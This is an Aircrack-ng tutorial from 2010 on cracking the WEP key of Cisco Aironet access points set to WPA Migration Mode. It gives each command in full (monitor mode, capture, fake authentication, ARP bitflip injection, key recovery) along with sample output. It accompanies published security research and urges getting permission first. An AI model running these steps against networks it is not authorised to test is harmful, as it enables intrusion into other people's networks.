This is an old revision of the document!
Version: 1.0 August 11, 2010
By: Leandro Meiners and Diego Sor
This tutorial walks you through cracking WPA Migration Mode. It assumes you have a working wireless card with drivers already patched for injection.
WPA Migration Mode is a configuration setting supported by Cisco Aironet access points (IOS Releases 12.2(11)JA and later), which enables both WPA and WEP clients to associate to an access point using the same Service Set Identifier (SSID).
For a comprehensive analysis about how WPA Migration Mode works and the technical details of the attacks, see the presentation and whitepaper “WPA Migration Mode: WEP is back to haunt you…” at http://corelabs.coresecurity.com/index.php?module=Wiki&action=view&type=publication&name=WPA_MIGRATION_MODE.
It is recommended that you experiment with your home wireless access point to get familiar with these ideas and techniques. If you do not own a particular access point, please remember to get permission from the owner prior to playing with it.
I would like to acknowledge and thank the Aircrack-ng team team for producing such a great robust tool, and darkAudax for writing the tutorials which we used as a basis.
Please send me any constructive feedback, positive or negative. Additional troubleshooting ideas and tips are especially welcome.
First, this solution assumes:
Ensure all of the above assumptions are true; otherwise the advice that follows will not work. In the examples below, you will need to change “wlan0” to the interface name which is specific to your wireless card.
In this tutorial, here is what was used:
You should gather the equivalent information for the network you will be working on. Then just change the values in the examples below to the specific network.
To crack the WEP key for an access point, we need to gather lots of initialization vectors (IVs). Normal network traffic does not typically generate these IVs very quickly. Theoretically, if you are patient, you can gather sufficient IVs to crack the WEP key by simply listening to the network broadcast traffic (which will be WEP-encapsulated) and saving them. Since none of us are patient, we use a technique called injection to speed up the process. Injection involves having the access point (AP) resend selected packets over and over very rapidly. This allows us to capture a large number of IVs in a short period of time.
Once we have captured a large number of IVs, we can use them to determine the WEP key.
Here are the basic steps we will be going through:
The following link points to a video of the attack: http://www.youtube.com/watch?v=Zq86oP-dxk4
The purpose of this step is to put your card into what is called monitor mode. Monitor mode is mode whereby your card can listen to every packet in the air. Normally your card will only “hear” packets addressed to you. By hearing every packet, we can later select some for injection. As well, only (there are some rare exceptions) monitor mode allows you to inject packets.
Enter the following command to start the wireless card on channel 8 in monitor mode:
# airmon-ng start wlan0 8
Substitute the channel number that your AP runs on for “8” in the command above. This is important. You must have your wireless card locked to the AP channel for the following steps in this tutorial to work correctly.
The system will respond:
Interface Chipset Driver wlan0 Intel 3945ABG iwl3945 - [phy1] (monitor mode enabled on mon0)
You will notice that “mon0” is reported above as being put into monitor mode.
To confirm the interface is properly setup, enter “iwconfig”.
lo no wireless extensions. eth0 no wireless extensions. wlan0 IEEE 802.11abg ESSID:off/any Mode:Managed Access Point: Not-Associated Tx-Power=15 dBm Retry long limit:7 RTS thr:off Fragment thr:off Encryption key:off Power Management:off mon0 IEEE 802.11abg Mode:Monitor Frequency:2.447 GHz Tx-Power=15 dBm Retry long limit:7 RTS thr:off Fragment thr:off Power Management:off
In the response above, you can see that mon0 is in monitor mode, on the 2.447GHz frequency which is channel 8 and the Access Point shows the MAC address of your wireless card. Please note that only the madwifi-ng drivers show the MAC address of your wireless card, the other drivers do not do this. So everything is good. It is important to confirm all this information prior to proceeding, otherwise the following steps will not work properly.
To match the frequency to the channel, check out: http://www.cisco.com/en/US/docs/wireless/technology/channel/deployment/guide/Channel.html#wp134132 . This will give you the frequency for each channel.
The purpose of this step is to capture the IVs generated. This step starts airodump-ng to capture the IVs from the specific access point.
Open another console session to capture the generated IVs. Then enter:
# airodump-ng -c 8 --bssid 00:26:0B:2A:BA:40 -w output mon0
While the injection is taking place (later), the screen will look similar to this:
CH 8 ][ Elapsed: 36 s ][ 2010-08-11 12:19 BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 00:26:0B:2A:BA:40 -17 93 339 72360 2043 8 54e. WPA TKIP PSK migrate BSSID STATION PWR Rate Lost Packets Probes 00:26:0B:2A:BA:40 00:1F:3C:4E:88:46 0 24 - 1 28288 45891 00:26:0B:2A:BA:40 00:02:72:72:20:FE -25 0 -54e 90 11263
In order for an access point to accept a packet, the source MAC address must already be associated. If the source MAC address you are injecting is not associated then the AP ignores the packet and sends out a “deauthentication” packet in cleartext. In this state, no new IVs are created because the AP is ignoring all the injected packets.
The lack of association with the access point is the single biggest reason why injection fails. Remember the golden rule: The MAC you use for injection must be associated with the AP by either using fake authentication or using a MAC from an already-associated client.
To associate with an access point, use fake authentication:
# aireplay-ng -1 0 -e migrate –a 00:26:0B:2A:BA:40 -h 00:1f:3c:4e:88:46 mon0
Success looks like:
12:27:40 Waiting for beacon frame (BSSID: 00:26:0B:2A:BA:40) on channel 8 12:27:40 Sending Authentication Request (Open System) [ACK] 12:27:40 Authentication successful 12:27:40 Sending Association Request [ACK] 12:27:40 Association successful :-) (AID: 1)
If you get a deauthentication packet, try again. Do not proceed to the next step until you have the fake authentication running correctly.
The purpose of this step is to start aireplay-ng in a mode which attacks Cisco Aironet access points configured in WPA Migration Mode.
The program listens for a WEP-encapsulated broadcast ARP packet, bitflips it to make it into an ARP coming from the attacker's MAC address and retransmits it to the access point. This, in turn, causes the access point to repeat the ARP packet with a new IV and also to forward the ARP reply to the attacker with a new IV. The program retransmits the same ARP packet over and over. However, each ARP packet repeated by the access point has a new IV as does the ARP reply forwarded to the attacker by the access point. It is all these new IVs which allow you to determine the WEP key. Again, this is our objective, to obtain a large number of IVs in a short period of time.
Open another console session and enter:
# aireplay-ng -8 -b 00:26:0B:2A:BA:40 -h 00:1f:3c:4e:88:46 mon0
It will start listening for ARP requests and when it hears one, aireplay-ng will bitflip it and immediately start to inject it.
Here is what the screen looks like when ARP requests are being injected:
12:17:52 Waiting for beacon frame (BSSID: 00:26:0B:2A:BA:40) on channel 8 Saving ARP requests in replay_arp-0811-121752.cap You should also start airodump-ng to capture replies. Remember to filter the capture to only keep WEP frames: "tshark -R 'wlan.wep.iv' -r capture.cap -w outcapture.cap" Read 318368 packets (102102 ARPs, 78 ACKs), sent 59315 packets...(500 pps)
You can confirm that you are injecting by checking your airodump-ng screen. The data packets should be increasing rapidly. The ”#/s” should be a decent number. However, decent depends on a large variety of factors. A typical range is 300 to 400 data packets per second. It can as low as a 100/second and as high as a 500/second.
The purpose of this step is to obtain the WEP key from the IVs gathered in the previous steps.
Start another console session and enter:
# aircrack-ng -a 1 -b 00:26:0B:2A:BA:40 output*.cap
Here is what success looks like:
Aircrack-ng 1.2 [00:00:00] Tested 763 keys (got 47981 IVs) KB depth byte(vote) 0 1/ 3 EF(59904) F8(56320) 25(56064) 56(55552) D0(55552) 58(55296) 74(54528) FA(54528) 7D(54272) 86(53760) C7(53504) E7(53504) ED(53504) B0(53248) B9(53248) D7(53248) 1 3/ 5 99(56576) AA(56320) 6E(55552) 1A(55040) 25(55040) 3D(55040) 50(55040) 87(55040) 61(54784) 71(54784) D9(54528) 60(54272) BB(54272) F8(54272) 24(54016) E6(54016) 2 20/ 2 51(52992) 5F(52736) 7C(52736) 8F(52736) C5(52736) 23(52480) 76(52480) 77(52480) B5(52480) DD(52480) 47(52224) 5C(52224) 53(51968) D3(51968) DE(51968) 0B(51712) 3 0/ 1 B9(69120) 3B(57856) B0(57344) 53(55808) A2(55808) 96(55296) E4(55296) 5D(54784) D5(54784) 6E(54528) 38(54272) 65(54272) 4C(54016) 78(54016) F6(54016) 21(53760) 4 7/ 4 32(56576) 95(55808) 4D(54528) 82(54528) AE(54272) 0F(53760) 39(53760) B0(53760) F5(53760) 6E(53504) 97(53504) 11(53248) A1(53248) B3(53248) 5C(52992) 20(52736) KEY FOUND! [ AA:AA:AA:AA:AA:AA:AA:AA:AA:AA:AA:AA:AA ] Decrypted correctly: 100%